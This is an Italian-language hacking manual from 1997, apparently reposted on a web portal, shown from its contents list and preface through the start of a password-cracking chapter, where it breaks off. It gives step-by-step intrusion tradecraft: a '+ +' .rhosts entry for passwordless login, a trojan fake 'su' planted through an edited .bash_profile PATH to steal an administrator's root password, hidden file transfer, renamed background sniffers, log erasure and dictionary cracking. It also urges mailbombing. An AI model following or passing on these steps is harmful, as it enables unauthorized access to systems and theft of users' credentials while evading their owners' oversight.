 |
Menu principale |
 |
 |
Cartoline virtuali |
 |
Cartolina n° 364

Sono presenti 1307 cartoline virtuali. Entra ora
 |
Giochi online |
 |
 |
News Reader |
 |
|
Versione 1.0b di Novembre '97
Scritto e tradotto da Lord KasKo & Turbo Snail di Italian Hacking Service
!!!!!ATTENZIONE!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
La IHS non e' responsabile di danni prodotti a persone o cose causate
dell'applicazione delle informazioni contenute nella guida. La guida e' al solo
scopo informativo.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
INTRODUZIONE DELLA IHS
----------------------
Ciao Ragazzi e benvenuti nel fantastico mondo dell'hacking. Mancavano proprio
delle guide in italiano, vero? Ebbene, noi della IHS abbiamo voluto scrivere
questo manuale in modo da far avvicinare le persone a questo mondo. Questa guida
e' un insieme di conoscenze personali, di altri testi e di quant'altro. Speriamo
di aver fatto un buon lavoro e se avete qualche commento scriveteci a
lordkasko@freeweb.essenet.it
Vogliamo ringraziare Invisible-Evil per la sua bellissima guida da qui abbiamo
tratto spunto, a noi per essere hacker e a tutti quelli che ci appoggiano, come
Jader del sito Zona d'Ombra (http://www.abnet.it/zo/index.htm), ed altri hacker
come InfectedMachine e tutti quelli di SystemDown, gli unici italiani che hanno
avuto le palle di venir fuori facendo un'ottima rivista. Forza ragazzi !!!!!!
FUCK! a tutti quelli che utilizzano le loro capacita' informatiche per creare
casino nella nostra comunita', quelli che distruggono siti per il piacere di
farlo.
FUCK! a chi utilizza internet per intraprendere traffici di bambini e chi
sostiene i pedofili!!! Invitiamo, come hanno fatto i colleghi di SD, a
distruggere con mailbomb siti pedofili oppure avvisare le autorita'.....
Infine salutiamo te e ti auguriamo una buona lettura......
Nota :
QUESTO DOCUMENTO CONTIENE DEL CODICE IN C - FATE IN MODO DI NON SALVARE NESSUNA
MODIFICA.
Se avete altri Exploits,bugs, sniffers o utility che non sono presenti in questo
testo,per favore inviate una E-Mail a : lordkasko@freeweb.essenet.it
In questo modo potremo mantenervi costantemente aggiornati sulle ultime versioni
di questo toolkit!
------------------------------------------------------------------------------
Elenco dei contenuti:
Avviso
Prefazione
Capitolo I - I comandi Unix da conoscere assolutamente.
1A. Comandi basilari
Come ritornare alla propria Home directory
Come raggiungere facilmente la Home directory di un utente
Come vedere in quale directory ci si trova
Come ottenere un manuale completo di ogni comando
1B. Telnet
Permessi dei file Unix
Gruppi Unix
Come cambiare permessi e gruppi
1C. Rlogin
.rhosts
Come preparare un file .rhost per fare login senza password
1D. FTP
Collegarsi al sito,ma mai al di fuori di esso.
Uso di prompt, hash e bin
Uso di get, put, mget e mput
1E. GCC (compilatore unix)
Come inserire un file in un sistema senza doverlo uploadare
Come copiare dei file nella propria Home directory in modo semplice
Come compilare dei programmi in C
Come rinominare a piacere i programmi in C
Come caricare dei programmi in background mentre ci si sta scollegando
Controllare i processi usando ps
Capitolo II - Come iniziare (il vostro primo account)
2A. Come crackare i file delle password
Come ottenere centinaia di account col vostro primo 'hacked account'
Perche'avete davvero bisogno di una password crackata in un sistema
Come ottenere la paasword di root in un sistema non espugnabile
Usare un falso programma SU
Documentazione sul falso programma su
Come ottenere la password del Sysadm
Come leggere .bash_history
Cracker jack - un buon password cracker
Come usare Cracker jack
File vocabolario
Cosa serve per iniziare
Modificare il file vocabolario
Hash file da usare con Cracker Jack e il vostro file vocabolario
Hash file da usare con Cracker jack e il vostro file di Password
2B. Parlando con dei Novellini
Come trovare i novellini
Come ottenere le loro password
2C. La strada piu' complicata.
Usare finger @
Dove potrebbe essere la password?
Ottenere maggiori informazioni da finger.
Un piccolo file .c da usare se avete fatto progressi.
Scrivere un piccolo Script in Perl che fa il lavoro al vostro posto.
Come ottenere una domain list di tutti i domini da rs.internic.net
Uno Script in Perl per scomporre i domini e porli in ordine in una lista
leggibile
Come eseguire lo script in Perl
2D. Usare mount per ottenere l'accesso ai sistemi Unix
Cos'e'nfs mount
Di cosa si necessita per iniziare
Come verificare che in un sistema si possa fare il mount dei drive
Uno script per cercare sistemi sui quali sia possibile fare nfs mount
Come fare il mount del sistema
Come fare l'unmount del sistema
Una dimostrazione dal vero
Mounting del drive
Vedere le directory dell'utente
Editare il Password file della macchina locale
Come mettere un file .rhosts nelle directory degli utenti
Come fare rlogin negli account degli utenti
Capitolo III - Come ottenere il file delle Password.
3A. PHF
Cos'e'il phf
Usare lynx o Netscape per accedere al phf
Trovare lo user id tramite WWW
Come vedere se si e'root tramite phf
Come trovare il file delle password con phf
Fare una copia di backup del password file delle vittime
Cambiare la password di un utente con phf
Ripristinare le vecchie password.
Un file .c per inviare comandi al phf dalla vostra shell
Come usare il file di shell di phf
Un altro modo di usare il phf - Testo di Quantum
BindWarez file by Quantum
Uno script perl che prova OGNI domain su Internet e fa il log degli accessi
di root e recupera i password file per voi tutto il giorno rimanendo in
background.
Documentazione per lo script appena citato
Ottenere degli account da /var/?/messages
Uno script per ottenere le password se si ha accesso a /var/?/messages
3B. Novellini
3C. Ottenere i file shadow passwd
Cos'e'una shadow passwd
Ottenere il file shadow senza l'account di root
Un file .c per recuperare qualunque file senza l'account di root
3D. Raggiungere /etc/hosts
per quale motivo andare in /etc/hosts
Capitolo IV - Guadagnare l'account di Root
Cosa fare se non si riesce ad ottenere l'accesso di root nel sistema
4A. Bugs
Introduzione
4B. Exploits
L'exploit tramite mount/unmount
Cosa sono i SUID perm's
Il file .c per l'unmount
Come compilare unomunt.c
Exploit di Linux tramite lpr
File .c per l'exploit di Linux tramite lpr
Il file .c per l'exploit con lpr (versione per BSD)
Come usare lpr
Guardare i proprietari del gruppo con lpr
Usate lpr per la prima root,poi fate una SUID shell
Come ottenere una SUID root shell per futuri accessi di root (root root)
L'Exploit con splitvt
Programma .c per l'exploit con splitvt
Come usare il programma splitvt per l'exploit
Lo script di shell per l'exploit di root con Sendmail 8.73 - 8.83
Come usare l'exploit con sendmail per ottenere root access
Capitolo V - Renditi invisibile
Mantenere l'accesso
5A. Zap2 (per wtmp/lastlog/utmp)
Fare finger all'host prima di login
Fare login e stare al sicuro
Come configurare Zap2
Trovare la locazione del log file
Il programma zap.c
5B. Altri script
l'editor wted per wtmp
Come fare chmod al file wtmp.tmp
Come copiare il file wtmp.tmp in wtmp
Settare il path per il file wtmp in wted
il file wted.c
Pulire il lastlog con lled
Riga di comando per lled
Come usare lled
Come fare chmod al file lastlog.tmp
Come copiare il file lastlog.tmp in lastlog
Settare il path per il file lastlog in lled
Il file lled.c
Un buon script perl per editare i file wtmp,utmp e controllare i processi
Capitolo VI - Eliminare i log file
6A. Un giro in un sistema hackato
Logghiamoci nel sistema
Cerchiamo l'admin
Directory nidificate
Preparare il file di Root
Diventare invisibili
Fare il grep della directory dei log
Sniffare la rete
Editare il file linsniffer.c
Dare un'occhiata ai processi che girano
Compilare e chiamare il programma di sniffing
Iniziare una sessione di sniff
Cambiare gli accessi ai file del gruppo
Realizzare un trojan suid root shell per avere uid=0 gid=0 ogni volta
Chiamare il Trojan
Modificare la data dei file
Controllare il log file dello sniffer
Svuotare il contenuto degli history files
Usare unset per gli history files.
6B. Messaggi e syslog
Come trovare i logs usando /etc/syslog.conf
Come vedere se ci sono logs nelle directory nascoste
Come vedere se i logs vengono postati agli account degli utenti
Come vedere se i logs stanno andando su di un'altra macchina
Come editare syslog.conf per nascondere i login
Riavviare syslogd
Come vedere se c'e'un log segreto di su leggendo /etc/login.defs
6C. xferlog.
Come editare xferlog
Come greppare ed editare i logs www
Come cercare i logs ftp
Altri modi per editare i testi dei log
Usare grep -v
Uno script per ricavare linee di testo da questi log
Riavviare syslogd
6D. I crontabs
Come trovare e leggere i crontabs di root o dell'admin
Come vedere se MD5 e settato sulla macchina
Cos'e'MD5
Capitolo VII - Mantenere l'accesso alla macchina
7A. Trucchi e segreti
Quando vieni beccato dall'admin
Cosa aspettarsi dall'admin
History files
Directory nidificate
Inserire dei Trojan
Directory nascoste
Creare nuovi comandi (trojans)
Aggiungere o cambiare delle parti del passwd file
Modificare alcuni admin account con password nulla
Il miglior modo di aggiungere un account
Editare un account vuoto in modo da potersi loggare
Installare alcuni giochi o programmi exploitable
Come conoscere il tuo admin
Leggere la mail di sistema (senza aggiornare i puntatori)
Cosa cercare nella directory della mail
Un programma per leggere la posta senza aggiornare i puntatori
7B. Backdoors
7C. Root Kits e trojan
Cosa sono i Root kit
Cosa sono i Demon kit
Cosa fanno i trojan
*********************************************************
* Appendice I - Cosa fare dopo un accesso *
*********************************************************
La Check list dalla a alla z
****************************************************
* Appendice II - Siti Hacking / Security WWW / ftp *
****************************************************
*********************************************************
* Appendice III - FILES UUENCODATI *
*********************************************************
1. Quantum's Bindwarez -File binari per PHF
2. Demon Root Kit - Include: Banish, DemonPing, DemonSu, DemonTelnet
3. Linux Root Kit - Include: Login, Netstat, and, PS
4. Programma Fake SU
**********
Avviso!!!
**********
E' vero, questo manuale aiutera' gli hackers ad entrare nei sistemi ma e' da
considerarsi anche come una guida per i Sysadm per affrontare i problemi
riguardanti la sicurezza e per conoscere quali siano gli elementi da
controllare in modo da tenere fuori gli hacker.
Se usi questo manuale per guadagnare l'accesso ad un qualunque sistema al quale
non appartieni e danneggi una sua qualsiasi parte sei punibile a norma di legge.
Non sto dicendo di entrare nei sistemi, sto soltanto dicendo qualcosa della mia
esperienza e delle cose che farei se entrassi dentro al mio stesso sistema.
Questa e' solo una informazione ....
**********
Prefazione
**********
Ok, cominciamo. Se hai intenzione di fare dell'hacking, devi farlo per una
ragione. Tutti gli hackers hanno una ragione per farlo. La maggior parte ha solo
sete di sapere. La maggior parte di cio' che so l'ho imparata in qualche service
provider o sulla macchina di qualcun altro.
Sono uno che punta molto sull'esperienza personale.
Se avessi dovuto studiare cio' che so, avrei dovuto leggere 20000 libri solo per
sapere qualcosa su alcuni file di configurazione, sui messaggi email degli
amministratori, sui file .bash_history e qualcos'altro su alcuni altri sistemi.
Qui in questo manuale dovresti imparare come essere un "hacker completo" e
sviluppare un tuo stile. Non ci vorra' molto ma ci vorra' un po' di esperienza
prima di poterti considerare davvero un hacker.
Non basta sapere crackare un file di password ed entrare in una macchina unix
per considerarti un hacker.
Ok, sai come ottenere l'accesso di root in un sistema! Non sei ancora un hacker!
Prima devi sapere perche' sei un hacker e poi avere un tuo stile e una tua
filosofia. Ci vuole uno scopo ed una ragione per entrare in qualunque sistema.
Il vero hacker sa perche' sta facendo qualcosa, e lo fa per ragioni come il
sapere, l'informazione, e l'ACCESSO. Il vero hacker trasformera' un hack in
accessi a molti diversi sistemi e provider e manterra' questi accessi per
conoscenze future e per maggiori informazioni.
Gli hacker da quattro soldi non saranno invisibili e faranno molte sciocchezze
come: cancellare e corrompere dati, fare cadere le macchine, lanciare dei bot o
dei client IRC dagli account di root o dare a tutti le password che ha crackato
per far sapere a tutti che sa fare dell'hacking. O potrebbere fare sciocchezze
che lo portera' ad essere beccato. Penso che talvolta questo venga fatto di
proposito per attirare su di se' l'attenzione in modo da essere beccato ed
annunciare che sono hacker, e che c'era anche lui!
Un vero Hacker non cerca questo tipo di gloria, vuole l'accesso e vuole
mantenerlo ed essere invisibile! Non dira' a molti amici riguardo il sistema,
non dara' in giro le password o gli account e terra' gli altri
fuori in modo da mantenere l'accesso e tenerlo il piu' possibile pulito.
Qui in questo manuale spero di aver messo abbastanza stile in modo che tu possa
davvero interessarti a quest'opera e diventare cosi' un vero buon hacker!
HAPPY HACKING!!!
--------------------------
Capitolo I
Comandi unix da conoscere.
--------------------------
Ci sono solo pochi comandi basilari da imparare, e poi anche alcuni programmi
unix che ti aiuteranno a collegarti, a penetrare nel sistema o a mantenere
l'accesso ad una macchina.
Chiama il tuo Internet Provider locale e chiedi loro uno shell account in modo
da poter imparare e fare della pratica su questi comandi base. Un normale
account di shell non e' in genere caro.
----------------
Sezione 1A
Comandi basilari
----------------
Spero tu abbia una conoscenza di base del DOS, che ti aiutera' un po' e partiro'
da questo presupposto durante la stesura di questo manuale.
A sinistra ci sono i comandi DOS, a destra i corrispettivi comandi UNIX:
RICORDA: Unix e'case-sensitive, cosi' se qui si usa il minuscolo devi farlo
anche tu; se io uso lo spazio lo devi fare anche tu. Dos ti lascera' passare
tante di queste cose: unix NO!
DIR/W = ls
DIR = ls -l
DIR/AH = ls -al AH=(hidden) -al=(include anche i file nascosti)
RENAME = mv
ATTRIB = chmod
MD = mkdir
RD = rmdir
DEL = rm
COPY = cp
Questi sono i comandi di base, ti suggerisco di guardare il manuale di ciascuno
di questi comandi direttamente dalla shell unix. Lo puoi fare digitando:
man comando
Ciascuno di questi comandi ha dgli switch, come cp -R per copiare file e
directory. Cosi' dovresti scrivere:
man cp per vedere tutti gli switch che puoi usare con il comando di copia.
cd (poi premi INVIO) ti portera' sempre alla tua home directory
cp nomefile $HOME copiera' il file nella direcory home.
cd ~nomeutente ti portera' nella Home directory di quell'utente, sempre che tu
vi abbia accesso
pwd (premi INVIO) ti dira' in quale directory ti trovi
-------------
Sezione 1B
Telnet
-------------
Telnet e'un comando che puoi usare da un account di shell, o da un file exe
(telnet.exe) da Windows, OS/2 e Windows 95 e altri OS che permettono di
collegarsi ad altre macchine sulla rete. Ci sono altri programmi che
conoscerai qui, come FTP e rlogin che puoi usare ma ora useremo telnet.
Puoi usare telnet se conosci l'indirizzo IP o il nome dell'host al quale vuoi
collegarti. Per usare il comando ti serve solo il programma telnet per
collegarti all'IP o all'host in questo modo:
Telnet netcom.com oppure telnet 206.146.43.56
OK, e ora il login:
telnet machine.com
trying .....
Connected to machine.com
Linux 2.0.28 (machine.com) (ttyp0)
machine login:username
password:#######
bash$
Il tuo prompt potrebbe apparire differente, ma noi useremo questo.
Nota qui sopra che ti verra' detto quale OS gira sulla macchina a cui ti sei
collegato.
Puoi usare questo se raccogli una vasta collezione di passwd file. Prima di
iniziare a crackarli, ordinali per tipo di O/S facendo soltanto il telnet in
modo da sapere che sistema usano.
Ci sono altri modi, ma manteniamo questo argomento ancora per un attimo,telnet
domain.name.com ,dopo aver visto cosa gira su di una macchina prendi nota e
premi CTRL J per chiudere la connessione.
Metti insieme tutti i tuoi file di passwd in un solo pile che dovrai crackare
per primo.. Tutto cio' che serve e' un account che funziona per quel sistema, e
saremo quasi certi che otterremo i permessi di root su quella macchina! Ci sono
talmente tanti buchi in linux da pensare di non poter penetrare in una di quelle
macchine!
OK, ora possiamo entrare nel meraviglioso mondo dell'hacking
----------------------
Permessi dei file Unix
----------------------
bash$
bash$ cd /tmp
bash$ ls -l
total 783
-rwx------ 1 wood users 1 Jan 25 18:28 19067haa
-rw-r--r-- 1 berry mail 1 Jan 16 12:38 filter.14428
-rw------- 1 rhey19 root 395447 Jan 24 02:59 pop3a13598
-rw------- 1 rhey19 root 395447 Jan 24 03:00 pop3a13600
drwxr-xr-x 4 root root 1024 Jan 12 13:18 screens
Prima cosa: dobbiamo usare lo slash ( / ) al posto del back-slash ( ) per
accedere alla directory tmp! Unix usa / per la root directory, al contrario del
DOS che usa appunto il simbolo
Nota che abbiamo usato ls -l per la directory nel formato "a tutta pagina". Se
avessimo usato 'ls' avremmo ottenuto cio' che c'e'qui sotto.
bash$ ls
19067haa filter.14428 pop3a13598 pop3a13600 screens
Con quello che vediamo qui non possiamo dire molto, cosi' perlopiu' useremo ls -
al con -al vedremo anche i file hidden, le directory e i file nascosti
inizieranno sempre con '.'. Ora guarda:
bash$ ls -al
total 794
drwxrwxrwt 4 root root 8192 Jan 25 23:05 .
drwxr-xr-x 22 root root 1024 Dec 28 18:07 ..
-rw-r--r-- 1 berry users 6 Jan 25 23:05 .pinetemp.000
drwxr-xr-x 2 berry users 1024 Jan 25 23:05 .test
-rwx------ 1 wood users 1 Jan 25 18:28 19067haa
-rw-r--r-- 1 berry mail 1 Jan 16 12:38 filter.14428
-rw------- 1 rhey19 root 395447 Jan 24 02:59 pop3a13598
-rw------- 1 rhey19 root 395447 Jan 24 03:00 pop3a13600
drwxr-xr-x 4 root root 1024 Jan 12 13:18 screens
.pinetemp.000 e'un hidden file, and .test e'una directory hidden.
-rw-r--r-- 1 berry mail 1 Jan 16 12:38 filter.14428
riga 1 riga2 riga3
----------------------------
Ora abbiamo bisogno di imparare qualcosa sui permessi, sugli utenti e sui
gruppi.
La riga #1 indica i permessi del file
La riga #2 indica chi e'il proprietario del file
La riga #3 indica il gruppo di appartenenza del file
I permessi dei file sono raggruppati in 3 gruppi diversi.
Se la linea comincia con una d, e'una directory, se non c'e'la d, e'un file.
- --- --- ---
| | | |--------> Other = Chiunque accede alla macchina
| | |------------> Group = alcuni gruppi possono accedere
| |----------------> User = Solo il proprietario puo' accedere
|------------------> Marcatore della Directory
- rw- r-- r--
| | | |--------> 'Other' puo' solo leggere i file
| | |------------> 'Group' puo' solo leggere il file
| |----------------> 'User' puo' scrivere il file
|------------------> Non e' una directory
- rwx rwx r-x
| | | |--------> 'Other' puo' leggere ed eseguire il file
| | |------------> 'Group' puo' leggere ed eseguire il file
| |----------------> 'User' puo' scrivere ed eseguire il file
|------------------> Non e' una directory
Il proprietario e' l' 'user name' nella riga #2 e il group name e'il nome nella
riga #3. Nel DOS i file hanno l'estensione .exe, .com, o .bat per gli
eseguibili, ma in unix basta la --x nel tuo gruppo 'user', 'other' e
'group'
Puoi cambiare questi permessi se sei il proprietario del file o se sei ROOT:
---------------------------------------------------------------------------
chmod oug+r filename dara' accesso in lettura del file a tutti e tre i gruppi
chmod og-r filename rendera' il file leggibilie solo dall'utente che possiede il
file. (nota che - o + settano il valore di verita' del parametro del file).
chmod +x filename rendera' il file eseguibile da tutti.
chown username filename rendera' il file di proprieta' di un altro utente
chgrp groupname filename rendera' il file di proprieta' di un altro gruppo
---------------------------------------------------------------------------
Stai attento a non cambiare i permessi dei file o ti butteranno fuori dal
sistema. Cambiare le configurazioni del sistema potrebbe solo far saltare altre
funzioni, cosi' tieni lontane le zampe se non vuoi farti beccare!
Fai solo cio' di cui sei *SICURO*. Usa solo comandi che conosci, potresti
ritrovarti a trascorrere ore a fare un fix di questo tipo:
chown -R username /* Potrebbe tenerti impegnato per un anno! :)
Ti basta stare attento!
Approfondiremo le conoscenze di questo stuff quando sevira'.
------------------
Sezione 1C
Rlogin
------------------
C'e' un altro comando che puoi usare e che approfondiremo altrove quando diremo
come usare rlogin per loggarsi ad un sistema senza una password.
Per ora leggi il manuale di rlogin usando man rlogin dalla tua shell.
Il comando base sara':
rlogin -l username hostname
connecting....
password:
bash$
Rlogin necessita che l'utente abbia un file nella home che dica da quale sistema
si puo' fare rlogin. Questo file .rhosts dovrebbe apparire cosi':
username hostname (or) hostname
Se aggiungi + + a questo file, lascera' entrare chiunque da qualunque host
senza password.
Questo file dovrebbe apparire cosi':
----- cut here ------
+ +
_____ cut here ------
Se ci sono gia' delle entry potresti aggiungere + + sotto i loro host names, ma
ricorda che ora noteranno che possono entrare con rlogin senza password.
Dovresti prendere di mira persone che non hanno ancora un file .rhosts
---------------
Sezione 1D
FTP
---------------
Un altro modo di fare login e'con FTP. Puoi usare un client windows, o anche
fare login da una shell.
ftp ftp.domain.com
Questo ti permettera' di fare upload e download dal sito su cui fai hack.
Ricordati di editare il xferlog (vedi la sezione 6d) per coprire le tue tracce
nel sistema. RICORDA! Non devi MAI fare ftp o telnet fuori dal sistema in cui
sei penetrato, lavora solo all'interno! Se provieni dal tuo stesso sistema, o da
un altro account hacked forse stai dando la tua login e la tua password al
sysadm o ad un altro hacker su quel sistema. Ci potrebbe essere un trojan
telnetd o ftpd caricato nel sistema, o anche uno sniffer, Ora potresti aver dato
a qualcuno la tua login e password. E se quel qualcuno e'il sysdam, potrebbe
pensare che la vendetta e'dolce ;)
Usando ftp da shell, ti suggerisco alcuni comandi:
Dopo esserti loggato, scrivi al prompt i seguenti comandi premendo enter dopo
ciascuno di essi.
prompt
hash
bin
prompt permettera' di usare comandi del tipo (mget *) o (mput *) e trasferire
l'intera directory senza che ti venga chiesta la conferma per ciascun file.
hash marks
hash mostrera' ########### sullo schermo cosicche' si possa vedere la velocita'
del trasferimento.
bin ti garantira' di ricevere i file nel modo giusto, e se si sta trasferendo un
file binario potra' essere decompresso.
I comandi di trasferimento sono semplici, get filename, o , put filename, o per
molti file puoi usare wild cards con mput e mget.
--------------------
Sezione 1E
Compilatore GCC
--------------------
Ci sara' un momento in cui avrai bisogno di compilare un file .c
E' meglio compilarlo sulla macchina in cui stai lavorando. Cosi' fai l'upload o
usa 'Copia e Incolla' sull'hacked box e compila li' il sorgente. Sei hai
problemi con il loro compilatore prova a fare l'upload del file precompilato.
Un modo di inviare il file sulla macchina vittima dovrebbe essere quello di
usare 'copy & paste'. Trova un buon tsr o uno shareware per windows per fare
cio' se adesso non hai nessun modo per farlo. Puoi copiare lo script da una
finestra all'altra dentro ad un editor della macchina vittima e in questo modo
non ci sara' nessun log del download di file ascii.
Per copiare e incollare puoi provare ad aprire un editor sull'hacked box e
copiare dall'altra sessione, e poi incollare lo script nell'editor e salvare il
file. In questo modo non ci sara' ancora nulla nello xferlog.
Puoi fare la stessa cosa col file di password. Se decidi di scaricare il file
delle password con ftp, ricorda di copiarlo nella tua Home con un nome diverso.
bash:/etc:> cp passwd $HOME/plog copiera' il file chiamato passwd dalla
directory /etc in cui ti trovi alla tua Home in un file chiamato plog invece di
passwd.
I SySaDm greppano i xferlogs alla ricerca di chi sta scaricando il file delle
password.
Un altro modo di inviare/ricevere file all'/dall' hacked box senza comparire nei
logs e'di aprire una sessione IRC sulla macchina vittima, poi dall'altra
sessione nella quale sei gia' un utente su IRC, inviare un file usando DCC.
Il comando per inviare i file e'/dcc send
Sarebbe comodo se tu avessi un bot caricato su IRC quando stai facendo
dell'hacking cosi potresti inviare i file al bot e lasciare che li riceva
automanticamente.
Un 'bot' e'un programma robot che puoi caricare in background nello shell
account e si occupera' di ricevere file,tenere i canali aperti,etc...
Il Compilatore GCC e'semplice...
gcc filename.c -o nomechevuoi
Se stessi per compilare un programma chiamato z2.c che cancella i file log
scriverei questo:
gcc z2.c -o zap
Otterrei un file eseguibile chiamato zap
Se scrivi solo gcc z2.c otterrai un file chiamato a.out, questo e'l'eseguibile e
si puo' rinominare ad esempio come Zap col comando
mv a.out Zap
Ora ci sara' un file chiamato Zap che sara' eseguibile invece di a.out.
Vorrai essere sicuro di non chiamare un file con un nome identificabile dal
SYSadm: se hai uno sniffer chiamato linuxsniffer.c, in fase di compilazione,
sarebbe meglio cambiare il nome. Ad esempio:
gcc linuxsniffer.c -o lsn
Ricorda anche che a volte per eseguire questi file direttamente nella directory
dovrai scrivere soltanto il nome del file seguito da .
A volte potrebbe non funzionare a meno che tu preceda con ./ il nome
dell'eseguibile, cioe'lsn diverrebbe
./lsn
A volte avrai bisogno di far girare in background un programma anche dopo il
logoff, come nel caso appena citato dello sniffer. In questo caso potresti voler
chiamare lo sniffer con un nome difficilmente identificabile.
Fallo secondo il tuo stile. MA per farlo rimanere in background mentre non siamo
loggati devi lanciare il comando seguito da &
lsn&
Se digiti solo lsn, lo schermo si blocchera' e non potrai scrivere mentre fai lo
sniffing ma se scrivi lsn& lo sniffer verra' caricato e avrai di nuovo il
prompt.
Il sistema ti fara' sapere che e'stato caricato dandoti il # del process id
assegnato al programma.
Puoi vedere i processi con il comando ps -x ,potresti voler lanciare
ps -auxe |more
a= all
u= show user
x= yours
e= env
Su alcune macchine
f=tree
o il comando: pstree
------------------------------------
Capitolo II
Iniziamo! (il tuo primo account)
------------------------------------
Ci sono molti modi per ottenere un account per iniziare. Trattero' ciascun
argomento per aiutarti a iniziare.
Tutto cio' che ti serve e' un buon account da cui tirarne fuori a centinaia.
Pensaci; Potenzialmente ogni macchina linux e' un buon sistema espugnabile. ;)
Ora hai un accesso di root e carichi uno sniffer. Lo sniffer TCP cerchera' i
processi di login alla rete e fara' il log della login e della password per ogni
telnet, ftp, o connessione dial-in che viene fatta verso l'esterno o verso
l'interno del sistema.
Anche se e'una piccola connessione ethernet, ci sono in giro un centinaio di
password per poche macchine o domini. Se e'un net provider piu' ampio otterrai
centinaia di account in tutto il mondo. Tutto cio' che ti serve e'un buon accout
e una password per un sistema da espugnare. Se sembra che non si possa fare
l'exploit alla root, potrebbe essere un buon sistema in cui crackare le password
e scambiare gli account per altri account con hackers o utenti di IRC che stanno
cercando di caricare un bot ma che non hanno un account di shell o spazio su
disco per farlo.
MAI scambiare anche una sola password di un sistema del quale hai ottenuto
accesso di root. Tieniti questi sistemi per te!
Ora vediamo come fare per ottenere il tuo primo account.
------------------------------
Section 2A.
Cracking sul phile di passwd
-----------------------------
Perche'continuare a crackare passowrd per un sistema del quale puoi ottenere
comunque la maggior parte delle password in 24 ore? Non solo per qull'hacked box
ma per tutte le altre macchine a cui e'collegato. Se il sistema non e' espugnabile,
non sprecarci tempo, vai sul prossimo! Piu' avanti potrai scambiare le password
che hai crackato.
Se ottieni un account di administrator crackato potresti voler leggere i suoi
history-files e vedere se di solito usa il comando su per accedere molto a root.
Se e'cosi' puoi usare un Trojan su di lui. Questo scoprira' per te la password
di root.
Funziona cosi': cambi il suo script di shell in modo che ci sia una directory
nascosta (.term) va bene,che sia settata nel path prima di tutte le altre. Metti
un fake-su in .term (o un altra directory). L'Admin digita 'su', tutto sembra
funzionare, digita la password di root la password e'copiata in un log file in
/tmp/.elm69, e il trojan su si cancella e riporta un errore di password dicendo
di provare ancora. L'admin pensa di aver sbagliato qualcosa e lancia di nuovo
su, ma ora tutto e' ok e riesce a loggarsi.
Troverai il fake su nell'ultima appendice chiamata 'file uuencodati'.
Fake Su by Nfin8 - i-e
IRC: /msg i-e
1,2,3...ecco fatto!
1. Cambia il path in uno degli user account nei quali hai verificato tramite gli
history-file che il proprietario usa SU,inserisci in testa al path la directory
dove il trojan SU file si trova. .term o .elm andranno bene!
2. Assicurati di editare l'inizio del file su.c per mettere il path dove il file
si trovera' una volta compilato,in modo da potersi auto-cancellare e lasciar
posto al vero SU per il secondo tentativo.
3. Metti tutti i file nella directory target e compila su.c
gcc su.c -o su
Ora cancella tutti i file eccetto su. Fatto!
.bash_profile divrebbe assomigliare a questo:
# .bash_profile
# Get the aliases and functions
if [ -f ~/.bashrc ]; then
. ~/.bashrc
fi
# User specific environment and startup programs
PATH=$PATH:$HOME/bin
ENV=$HOME/.bashrc
USERNAME=""
export USERNAME ENV PATH
Cambia la prima riga in: PATH=$HOME/.term:$PATH:$HOME/bin
Quando il sysadm lancia 'SU' lancera' il trojan nella directory .term e
riportera' il messaggio che la password digitata e'errata, il Trojan SU avra'
messo un file hidden nella directory /tmp per te che contiene la password di
root (o la password dell'account) che e'stata digitata. Se e'un account
piuttosto che root potrai sapere il nome dell'account. Poi il trojan su si
cancellera' in modo che la volta successiva si avviera' il vero SU .
Puoi trovare la password dell'amministratore nella sezione iniziale del file di
password nella directory /etc. Digita: more passwd
Puoi stare certo che i primi due account reali che si trovano nel password file
sono degli amministratori.
A volte ne puoi trovare altre nelle rispettive directory che sono indicate nel
passwd file.
Come /staff/username.
Gli History file sono in ciascuna directory di user account. Puoi leggerli per
vedere quali sono gli ultimi comandi digitati dall'utente. Qualche volta anche
piu' di 100 comandi. Cerca il file .bash_history, o History,puoi leggerli col
comando more. more .bash_history, oppure spesso puoi usare more .b* oppure
scrivere more .b (e poi premere il tasto TAB sulla tastiera).
Ok, ora ti serve un buon programma per crackare le password. Nel prossimo
capitolo scoprirai come ottenere il file di passwd nei sistemi in cui possiedi
un account, ma ti serve comunque un programma di cracking delle password!!
Ti servono 3 cose.
1. Programma per il cracking delle password
2. Un buon word file
3. Un file di password
(N.B. il phile di passwd deve essere il piu' possibile aggiornato, altrimenti
rischiate di perdere del tempo con password che sono gia' state cambiate dai
proprietari)
Il migliore programma di passwd cracking dovrebbe essere CRACKERJACK (anche John
the Ripper funziona davvero bene!) Entrambi possono essere cercati facilmente su
Web. Scarica,ad esempio, crackerjack. Se sei un po' piu' esperto puoi scaricare
una versione di cjack per unix e lanciarlo in una shell. Ma se stai iniziando,
cerca la versione per DOS/OS2.
Cerca anche un buon Word file. I migliori contengono nomi.
Troverai che le password meno sicure sono i nomi delle ragazze degli utenti o i
nomi dei ragazzi delle utenti ;)) Troverai wordfile del tipo 'familynames'
'babynames' 'girlsnames' 'boysnames' 'commonpasswords' Hackersdict' e file
similari dovrebbero essere una buona scelta.
lancia crackerjack cosi':
[D:jack]jack
Cracker Jack version 1.4 for OS/2 and DOS (386)
Copyright (C) 1993, The Jackal, Denmark
PWfile(s) : domain.com.passwd
Wordfile : domain.com.passwd
Come prima cosa lancia il passwd file come wordfile. Questo ti permettera' di
ottenere tutti gli account di chi usa il proprio nome come password,anche se
hanno usato altre info come il nome della loro compagnia verra'
scoperto subito e non dovrai aspettare la ricerca tramite wordfile.
Se vuoi creare un hash word file per ottenere piu' possibilita',leggi la
documentazione di crackerjack.
L'hashing permette a crackerjack di cambiare il case del wordfile o anche di
aggiungere numeri e lettere all'inizio o alla fine dele parole nel wordfile,
come sandy1 o 1sandy. Scoprirai che molti utenti fanno questo e credono di
essere piu' al sicuro.
Puoi trovare qui dei file di hashing sia per i wordfile che per le passwd. Dopo
averli analizzati vedrai come poterli modificare o crearne di nuovi a seconda
della situazione.
------------ Inizio di discthash.bat
------------ start of dicthash.bat
@echo off
cls
echo - THIS FILE FOR DOS MACHINES
echo ----------------------------------------------------------------------
echo - To work this batch file have all of the crackerjack files in the
echo - current directory with this batch file, along with your dict and
echo - password file. Then use this batch file using the following format:
echo -
echo - dicthash.bat dictfilename.ext passwordfilename.ext
echo -
echo - Make sure to have the jpp.exe and jsort.exe files in your dir as well.
echo -
